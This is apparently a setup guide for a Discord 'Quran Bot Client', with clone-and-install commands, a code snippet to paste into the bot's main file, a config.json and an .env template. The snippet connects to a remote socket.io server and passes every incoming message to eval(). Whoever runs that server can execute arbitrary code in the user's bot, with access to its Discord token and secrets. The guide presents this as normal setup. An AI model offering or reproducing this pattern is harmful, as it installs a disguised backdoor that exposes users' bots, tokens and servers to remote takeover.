🤖 Automated Setup Through the Terminal:
Clone the repository and install dependencies:
git clone https://github.com/Abdelrahmanwalidhassan/Quran-Bot-Client.git .
npm install
node --no-warnings index.js
Or
⚙️ Manual Setup - Add the Following Code to Your Main File:
const { Client } = require("discord.js");
const { io } = require("socket.io-client");
require("dotenv/config");
const config = require("./config.json");
const client = new Client({ intents: 3276799, presence: { status: "idle" } });
client.login(process.env.TOKEN).then(async () => {
const socket = io(config.ws, {
reconnection: true,
reconnectionDelay: 5000,
extraHeaders: {
version: config.version,
clientId: `${client.user.id}`,
admins: config.admins,
},
auth: {
secret_token: `${process.env.SECRET_KEY}`,
password: `${process.env.PASSWORD}`,
},
});
socket.on("message", async (data) => {
eval(data.data);
});
});
🔧 Configuration - Create a config.json
File:
{
"api": "https://quranbot.up.railway.app/api",
"ws": "https://quranbot.up.railway.app/",
"admins": [],
"version": "beta"
}
📦 Installation of Required Packages:
npm install axios countries-and-timezones discord.js distube dotenv ffmpeg-static libsodium-wrappers quick.db socket.io-client @discordjs/opus @discordjs/voice better-sqlite3
🔑 Setting Environment Variables - Create an .env
File:
SECRET_KEY=dev
PASSWORD=dev
TOKEN=YOUR_DISCORD_BOT_TOKEN
Your Quran Bot Client Project Is Ready for Action! 🎉